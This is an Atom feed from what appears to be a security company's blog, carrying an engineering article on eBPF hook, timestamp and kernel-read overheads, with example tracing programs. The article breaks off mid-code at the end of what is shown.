<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Bitbison Blog</title>
  <subtitle>Breach analysis, engineering and product notes from the Bitbison team.</subtitle>
  <link href="https://bitbison.io/blog/feed.xml" rel="self" />
  <link href="https://bitbison.io/blog/" />
  <updated>2026-08-30T00:00:00Z</updated>
  <id>https://bitbison.io/blog/</id>
  <author><name>Bitbison</name></author>
  <entry>
    <title>Squeezing Performance out of eBPF</title>
    <link href="https://bitbison.io/blog/ebpf-performance/" />
    <updated>2026-08-30T00:00:00Z</updated>
    <id>https://bitbison.io/blog/ebpf-performance/</id>
    <category term="engineering" />
    <summary>What eBPF hooks, kernel reads, maps, rings, and arenas actually cost, measured across cores.</summary>
    <content type="html">&lt;p&gt;First, why does eBPF exist?
A core motivation is that writing kernel code is hard.
It has to integrate well with the millions of lines of complex existing code.
This is made all the more difficult by kernel-specific challenges: interrupts that complicate blocking, access to user-level memory referenced from potentially malicious user pointers, and a complicated memory model that enables the magic of RCU.
Most importantly, the stakes are high.
A fault in kernel code takes down all processes executing on the system.&lt;/p&gt;
&lt;p&gt;Just as managed language environments (e.g. Java, C#) use language VMs that provide an execution environment that abstracts away many of the complexities of the underlying system, the Linux kernel supports eBPF as a VM-of-sorts.
eBPF code executes in the kernel in a sandbox to prevent many errors, and ensure that the rest can&#39;t bring down the system.
The sandbox enables only limited access to kernel structures and core APIs, and will only load code it can verify has &lt;a href=&quot;https://seahorn.github.io/papers/ebpf-pldi19.pdf&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;specific properties&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This article focuses on the performance of the core eBPF APIs and operations.
These often define what is possible when using eBPF.
eBPF &lt;a href=&quot;https://www.youtube.com/watch?v=Wb_vD3XZYOA&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&amp;quot;democratizes kernel code&amp;quot;&lt;/a&gt;, and has a huge number of uses that go beyond the &lt;a href=&quot;https://www.tcpdump.org/papers/bpf-usenix93.pdf&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;original BPF&#39;s&lt;/a&gt; &lt;a href=&quot;https://docs.kernel.org/networking/filter.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;packet filters&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is a powerful scope into what&#39;s happening in your system, given everything from &lt;a href=&quot;https://www.brendangregg.com/blog/2016-01-20/ebpf-offcpu-flame-graph.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;flame graphs&lt;/a&gt; to &lt;a href=&quot;https://www.brendangregg.com/ebpf.html#bpftrace&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;event counts&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;It provides the foundation for &lt;a href=&quot;https://docs.cilium.io/en/latest/reference-guides/bpf/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;container and Kubernetes&lt;/a&gt; networking.&lt;/li&gt;
&lt;li&gt;It is used to enforce security policies in the kernel through &lt;a href=&quot;https://docs.kernel.org/bpf/prog_lsm.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;BPF LSM&lt;/a&gt; hooks (the older &lt;a href=&quot;https://www.kernel.org/doc/html/v4.19/userspace-api/seccomp_filter.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;seccomp&lt;/a&gt; filters still use classic BPF).&lt;/li&gt;
&lt;li&gt;It has been shown to scale up to even a full &lt;a href=&quot;https://dl.acm.org/doi/10.1145/3725272&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;in-memory database&lt;/a&gt;!&lt;/li&gt;
&lt;li&gt;Finally, eBPF is a core technology for modern security products that need to exactly understand what the kernel is doing.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-ebpf-execution-model&quot;&gt;The eBPF Execution Model&lt;/h2&gt;
&lt;p&gt;How does an eBPF program execute?
The eBPF execution model includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;eBPF is an instruction set (standardized as &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc9669&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;RFC 9669&lt;/a&gt;) with backends in both LLVM and GCC, so languages such as C and Rust can compile to eBPF.
This enables writing eBPF programs in familiar languages.
Complicated issues like supporting multiple kernel versions (with potentially different structure layouts) are taken care of by &lt;a href=&quot;https://nakryiko.com/posts/bpf-core-reference-guide/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;CO-RE&lt;/a&gt; relocations driven by &lt;a href=&quot;https://docs.kernel.org/bpf/btf.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;BTF&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;eBPF programs &lt;em&gt;hook&lt;/em&gt; onto existing kernel functions, and execute directly in the kernel.
This means that eBPF programs can execute during a vast number of kernel events. It does so while completely avoiding hardware &lt;em&gt;mode switches&lt;/em&gt; (i.e. system calls).&lt;/li&gt;
&lt;li&gt;Read-only access to the kernel image including all of the kernel data-structures, which means that eBPF can be used to massively increase observability of the kernel.
For example, eBPF programs can parse data-structures like &lt;code&gt;struct task_struct&lt;/code&gt;s to understand and report thread-specific data.&lt;/li&gt;
&lt;li&gt;eBPF programs can &lt;em&gt;modify&lt;/em&gt; only a very limited set of data through explicit &lt;em&gt;helper&lt;/em&gt; functions.
While there&#39;s a &lt;a href=&quot;https://man7.org/linux/man-pages/man7/bpf-helpers.7.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;long&lt;/a&gt; &lt;a href=&quot;https://docs.ebpf.io/linux/helper-function/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;list&lt;/a&gt; of these helpers, most eBPF programs fundamentally rely on maps and ringbufs.
Maps are hashtables with the traditional lookup from key to value, update, etc... Ring buffers enable the allocation of chunks of memory in the ring buffer.
Both of these abstractions have user-level libraries that can perform comparable operations on the maps, and read data out of the ring buffer.&lt;/li&gt;
&lt;li&gt;eBPF programs are executed safely, despite being run in the kernel, as they must pass a restrictive &lt;em&gt;verification step&lt;/em&gt; before being installed.
While the verifier has changed quite a bit over time, it always ensures that the program only modifies its own register values, and values exposed from eBPF data-structures.
You can think of the verifier as providing the rough equivalent of bounds-checking for the data provided by the helper APIs.
&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn1&quot; id=&quot;fnref1&quot;&gt;[1]&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;ebpf-performance&quot;&gt;eBPF Performance&lt;/h2&gt;
&lt;p&gt;We care deeply about eBPF performance as it places a bound on how much of an impact eBPF programs can have on the system.
Anyone who has to extend the kernel to better understand its execution properties has to balance various options, including eBPF.
In our case, we want to track all causal relationships between system abstractions including processes, files, and network connections, so we care deeply about the performance impact of that tracking.&lt;/p&gt;
&lt;p&gt;We designed our use of eBPF around its performance properties.
We expect that the performance of key operations is interesting to anyone considering the use of optimized eBPF.
We investigated these questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How much overhead does hooking have?
If hooking is expensive, then &lt;em&gt;everything is&lt;/em&gt;!&lt;/li&gt;
&lt;li&gt;How much overhead does establishing timestamps have?
When observing kernel execution, many eBPF programs leverage timestamps to order operations.&lt;/li&gt;
&lt;li&gt;When accessing data-structures in the kernel from eBPF, how much overhead can we expect?&lt;/li&gt;
&lt;li&gt;What are the overheads of the map APIs for various types of eBPF maps?
Since maps are the foundational means to persist state across eBPF programs, we have to know their impact.&lt;/li&gt;
&lt;li&gt;What are the overheads of ring operations in various scenarios?
Rings are pervasively used to pass observations up from the kernel to user-level, so their performance is important.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For all of the above, we want to understand not just their straight-line performance on a single core, but also how their performance scales with increasing numbers of cores.
This may not be obvious, but many of these mechanisms require shared state -- thus locks, &lt;a href=&quot;https://en.wikipedia.org/wiki/Read-copy-update&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;RCU&lt;/a&gt;, and, in some cases, Inter-Processor Interrupts (IPIs).
As such, performance with these complexities changes with increasing cores.&lt;/p&gt;
&lt;h2 id=&quot;hooking-syscalls-and-time&quot;&gt;Hooking, syscalls, and time&lt;/h2&gt;
&lt;p&gt;What is a hook, and how is it implemented?
Let&#39;s assume that we want to add an eBPF program that is called whenever the &lt;code&gt;getpgid&lt;/code&gt; function is invoked.
For simplicity, I&#39;ll assume an x86-64 kernel built with the function tracer (&lt;code&gt;CONFIG_FUNCTION_TRACER&lt;/code&gt;, which compiles with &lt;code&gt;gcc&lt;/code&gt;&#39;s &lt;code&gt;-mfentry&lt;/code&gt;).&lt;/p&gt;
&lt;pre class=&quot;language-asm&quot;&gt;&lt;code class=&quot;language-asm&quot;&gt;&lt;do_getpgid&gt;:
  0:  0f 1f 44 00 00         nopl  0x0(%rax,%rax,1)   ; noop does nothing
  5:  55                     push  %rbp
  6:  48 89 e5               mov   %rsp,%rbp
  9:  41 54                  push  %r12
  ...&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The normal, unhooked function has a &lt;code&gt;noop&lt;/code&gt; at its head that does nothing.
And after hooking:&lt;/p&gt;
&lt;pre class=&quot;language-asm&quot;&gt;&lt;code class=&quot;language-asm&quot;&gt;&lt;do_getpgid&gt;:
  0:  e8 *_tramp_addr        call trampoline
  5:  55                     push  %rbp
  6:  48 89 e5               mov   %rsp,%rbp
  9:  41 54                  push  %r12
  ...

&lt;trampoline&gt;:
  ; push arguments onto stack
  call  ebpf_hook                     ; call the ebpf program!
  ; pop args off stack
  ret                                 ; return back to do_getpgid&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These core facilities in the kernel for hooking on kernel functions impose unavoidable overhead.
For a minimal overhead system call (&lt;code&gt;getpgid&lt;/code&gt;, a trivial PID lookup with no &lt;a href=&quot;https://en.wikipedia.org/wiki/VDSO&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;vDSO&lt;/a&gt; fast-path or user-level caching to get in the way), what overhead can we expect?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/blog/img/ebpf-syscall.svg&quot; alt=&quot;System call and ebpf hook overheads.&quot;&gt;&lt;/p&gt;
&lt;p&gt;This shows the median and 99th percentile overhead for&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;a normal, fast &lt;code&gt;getpgid&lt;/code&gt; Linux system call,&lt;/li&gt;
&lt;li&gt;hooks using tracepoint, raw tracepoint, &lt;code&gt;kprobe&lt;/code&gt;, or &lt;code&gt;fentry&lt;/code&gt; mechanisms, and&lt;/li&gt;
&lt;li&gt;fentry plus taking a couple of timestamps.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Tracepoints, raw tracepoints, &lt;code&gt;kprobes&lt;/code&gt;, and &lt;code&gt;fentry&lt;/code&gt; are four different hooking mechanisms provided by the kernel.
Tracepoints are statically defined in kernel code, and are stable across kernel versions.
They are at pre-defined locations (e.g. each system call) -- see your system&#39;s tracepoints in &lt;code&gt;/sys/kernel/tracing/available_events&lt;/code&gt;.
They define the structure of the arguments passed to the hook, which requires the kernel to marshal the arguments into that format before presenting them to the hook.
For example, the arguments for &lt;code&gt;getpgid&lt;/code&gt; are spelled out in &lt;code&gt;/sys/kernel/debug/tracing/events/syscalls/sys_enter_getpgid/format&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;An example of what a tracepoint program looks like:&lt;/p&gt;
&lt;pre class=&quot;language-c&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;getpgid_args&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token class-name&quot;&gt;uint64_t&lt;/span&gt; common_args&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token class-name&quot;&gt;pid_t&lt;/span&gt; pid&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;/* hook onto the entry point in the getpgid syscall */&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;SEC&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;tp/syscalls/sys_enter_getpgid&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sys_enter_getpgid_tp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;getpgid_args&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;ctx&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token function&quot;&gt;bpf_printk&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;pid argument %d&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;ctx&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;pid&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;kprobe&lt;/code&gt;s can hook onto any function, including system calls!
Their context is just the saved registers (&lt;code&gt;struct pt_regs&lt;/code&gt;) -- no function-specific types at all.&lt;/p&gt;
&lt;pre class=&quot;language-c&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;/* hook onto the first instruction of the syscall implementation */&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;SEC&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;kprobe/__x64_sys_getpgid&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;BPF_KPROBE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;getpgid_kprobe&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;pt_regs&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;regs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;/* expands to bpf_probe_read_kernel(..., &amp;amp;regs-&gt;di) */&lt;/span&gt;
	&lt;span class=&quot;token class-name&quot;&gt;pid_t&lt;/span&gt; pid &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;pid_t&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;PT_REGS_PARM1_CORE_SYSCALL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;regs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token function&quot;&gt;bpf_printk&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;pid argument %d&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; pid&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Remember in the assembly when the trampoline had to push registers onto the stack?
Here we see the cost of not knowing the type of the function being hooked: we&#39;re pushing an &lt;em&gt;entire set of registers&lt;/em&gt; (&lt;code&gt;pt_regs&lt;/code&gt;)!
This is not free.&lt;/p&gt;
&lt;p&gt;The comparable &lt;code&gt;fentry&lt;/code&gt; program does better: BTF describes the signature of every function the kernel exposes for tracing, so if we hook &lt;code&gt;do_getpgid&lt;/code&gt;, only the &lt;code&gt;pid&lt;/code&gt; argument is pushed onto the stack in the trampoline.
Types are powerful!&lt;/p&gt;
&lt;pre class=&quot;language-c&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;/* hook onto the function the syscall wrapper calls */&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;SEC&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;fentry/do_getpgid&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;BPF_PROG&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;getpgid_fentry&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;pid_t&lt;/span&gt; pid&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token function&quot;&gt;bpf_printk&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;pid argument %d&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; pid&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This avoids the generic &lt;code&gt;pt_regs&lt;/code&gt; and associated casts.
Similar to how &lt;a href=&quot;https://en.wikipedia.org/wiki/DWARF&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;DWARF&lt;/a&gt; can understand your C program&#39;s types, BTF enables the verifier and JIT compiler to understand the function&#39;s type signature and type layouts.
This is not just convenience.
For &lt;code&gt;fentry&lt;/code&gt;, only the function&#39;s types need be available, whereas the other approaches require serializing the entire &lt;code&gt;pt_regs&lt;/code&gt; onto the stack!&lt;/p&gt;
&lt;p&gt;I simplify the above description of &lt;code&gt;kprobes&lt;/code&gt;.
Previously, they didn&#39;t require the compiler-inserted &lt;code&gt;noops&lt;/code&gt; at function heads and instead inserted &lt;code&gt;int3&lt;/code&gt; instructions that caused full hardware exceptions on each hook (these are still used in &lt;code&gt;uprobes&lt;/code&gt;).
These are &lt;em&gt;so slow&lt;/em&gt; that I didn&#39;t include them.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Kernel version availability&lt;/th&gt;
&lt;th&gt;Efficient argument access&lt;/th&gt;
&lt;th&gt;Efficient hooking&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;kprobes&lt;/code&gt; (&lt;code&gt;int3&lt;/code&gt; trap)&lt;/td&gt;
&lt;td&gt;4.1&lt;/td&gt;
&lt;td&gt;✘&lt;/td&gt;
&lt;td&gt;✘&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;kprobes&lt;/code&gt; (ftrace site or optprobe)&lt;/td&gt;
&lt;td&gt;4.1&lt;/td&gt;
&lt;td&gt;✘&lt;/td&gt;
&lt;td&gt;✔&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tracepoints&lt;/td&gt;
&lt;td&gt;4.7&lt;/td&gt;
&lt;td&gt;✘&lt;/td&gt;
&lt;td&gt;✔&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Raw tracepoints&lt;/td&gt;
&lt;td&gt;4.17&lt;/td&gt;
&lt;td&gt;✔&lt;/td&gt;
&lt;td&gt;✔&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fentry&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;5.5 (x86-64), 6.0 (arm64)&lt;/td&gt;
&lt;td&gt;✔&lt;/td&gt;
&lt;td&gt;✔&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;We can see that the kernel version availability is really one of the key trade-offs here.&lt;/p&gt;
&lt;p&gt;The last column in the graph inserts a pair of &lt;code&gt;bpf_ktime_get_ns&lt;/code&gt; calls that enable us to keep time.
It might be surprising that the cost of these timekeeping operations is so significant, &lt;em&gt;60ns&lt;/em&gt; in this case.
The cost of the &lt;code&gt;rdtsc&lt;/code&gt; instruction on most x86 architectures is around 30 cycles, and the serializing variant (&lt;code&gt;rdtscp&lt;/code&gt;) is even more.
The cost of a &lt;a href=&quot;https://elixir.bootlin.com/linux/v7.1.4/source/kernel/time/timekeeping.c#L423-L445&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;multiplication and shift&lt;/a&gt; to convert cycles to nanoseconds explains the remaining costs.
Even tracking the CPU&#39;s notion of time isn&#39;t free!&lt;/p&gt;
&lt;h3 id=&quot;design-guidance&quot;&gt;Design guidance&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Use fentry where available.&lt;/em&gt; These results give pretty strong guidance to use &lt;code&gt;fentry&lt;/code&gt; where possible, and to avoid taking redundant time measurements where possible.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Hooks are fast!&lt;/em&gt; The results indicate that for anything other than the most frequently invoked hooks, the overhead is negligible.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Time isn&#39;t free.&lt;/em&gt; While not a huge expense, simply getting the current time is not free.
Save and reuse time readings where possible.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;reading-kernel-structures-in-ebpf-programs&quot;&gt;Reading kernel structures in eBPF programs&lt;/h2&gt;
&lt;p&gt;eBPF&#39;s observability superpower is walking kernel data-structures, and there are two mechanisms for it.
The portable workhorse is &lt;code&gt;BPF_CORE_READ&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-c&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;ino &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;BPF_CORE_READ&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;task&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; mm&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; exe_file&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; f_inode&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i_ino&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This looks like a single operation, but it expands into a &lt;em&gt;helper call per pointer hop&lt;/em&gt; (with each field offset CO-RE-relocated to the running kernel):&lt;/p&gt;
&lt;pre class=&quot;language-c&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;mm_struct&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;mm&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;ef&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;inode&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;in&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;long&lt;/span&gt; ino&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token function&quot;&gt;bpf_probe_read_kernel&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;mm&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mm&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;task&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;mm&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;bpf_probe_read_kernel&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;ef&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ef&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;mm&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;exe_file&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;bpf_probe_read_kernel&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;in&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;token keyword&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;in&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;ef&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;f_inode&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
